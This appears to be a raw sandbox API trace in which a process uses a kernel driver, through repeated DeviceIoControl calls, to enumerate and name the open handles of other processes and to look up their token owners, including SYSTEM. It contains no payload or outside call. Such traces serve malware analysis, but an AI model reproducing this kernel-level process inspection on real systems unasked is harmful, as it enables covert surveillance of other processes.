DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.453] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.453] PsAcquireProcessExitSynchronization () returned 0x0 [0114.453] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0) [0114.453] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0114.453] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.453] PsReleaseProcessExitSynchronization () returned 0x2 [0114.453] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0114.453] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.453] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0114.453] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.453] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.453] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.453] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.453] PsAcquireProcessExitSynchronization () returned 0x0 [0114.453] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0) [0114.454] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.454] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.454] PsReleaseProcessExitSynchronization () returned 0x2 [0114.454] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0114.454] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.454] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.454] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.454] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.454] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.454] PsAcquireProcessExitSynchronization () returned 0x0 [0114.454] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0) [0114.454] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0114.454] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.454] PsReleaseProcessExitSynchronization () returned 0x2 [0114.454] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0114.454] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.454] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0114.454] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.454] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.454] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.454] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.454] PsAcquireProcessExitSynchronization () returned 0x0 [0114.454] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0) [0114.454] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0114.454] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.454] PsReleaseProcessExitSynchronization () returned 0x2 [0114.454] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0114.454] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.455] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0114.455] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.455] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.455] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0114.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.455] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0114.455] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.455] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0114.455] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.455] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.455] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.455] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.455] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.456] CloseHandle (hObject=0xc8) returned 1 [0114.456] CloseHandle (hObject=0xc0) returned 1 [0114.456] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.456] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.457] PsAcquireProcessExitSynchronization () returned 0x0 [0114.457] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0) [0114.457] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0114.457] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.457] PsReleaseProcessExitSynchronization () returned 0x2 [0114.457] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0114.457] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.457] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0114.457] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.457] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.457] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.457] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.457] PsAcquireProcessExitSynchronization () returned 0x0 [0114.457] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0) [0114.457] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0114.457] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.457] PsReleaseProcessExitSynchronization () returned 0x2 [0114.457] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0114.457] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.457] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0114.457] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.458] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.458] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.458] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.459] PsAcquireProcessExitSynchronization () returned 0x0 [0114.459] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0) [0114.459] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.459] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.459] PsReleaseProcessExitSynchronization () returned 0x2 [0114.459] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0114.459] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.459] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.459] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.459] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.459] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.459] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.459] PsAcquireProcessExitSynchronization () returned 0x0 [0114.459] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0) [0114.459] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0114.459] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.459] PsReleaseProcessExitSynchronization () returned 0x2 [0114.459] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0114.459] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.459] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0114.459] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.459] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.459] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.459] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.459] PsAcquireProcessExitSynchronization () returned 0x0 [0114.459] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880055905d0) [0114.459] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0114.459] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.459] PsReleaseProcessExitSynchronization () returned 0x2 [0114.460] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0114.460] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.460] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0114.460] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.460] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.460] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0114.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.460] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0114.460] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.460] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0114.460] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.460] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.460] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.460] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.460] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.461] CloseHandle (hObject=0xc8) returned 1 [0114.462] CloseHandle (hObject=0xc0) returned 1 [0114.462] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0114.462] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.462] PsAcquireProcessExitSynchronization () returned 0x0 [0114.462] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.462] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021662c0, HandleInformation=0x0) returned 0x0 [0114.462] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.462] PsReleaseProcessExitSynchronization () returned 0x2 [0114.462] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.462] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.462] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0114.462] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.462] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.462] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0114.462] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.462] PsAcquireProcessExitSynchronization () returned 0x0 [0114.462] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.462] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0114.462] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.462] PsReleaseProcessExitSynchronization () returned 0x2 [0114.462] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.462] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.462] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0114.462] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.463] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.463] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.463] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.463] PsAcquireProcessExitSynchronization () returned 0x0 [0114.463] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.463] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0114.463] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.463] PsReleaseProcessExitSynchronization () returned 0x2 [0114.463] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.463] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.463] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0114.463] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.463] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.463] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.463] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.463] PsAcquireProcessExitSynchronization () returned 0x0 [0114.463] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.463] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.463] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.463] PsReleaseProcessExitSynchronization () returned 0x2 [0114.463] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.463] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.463] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.463] 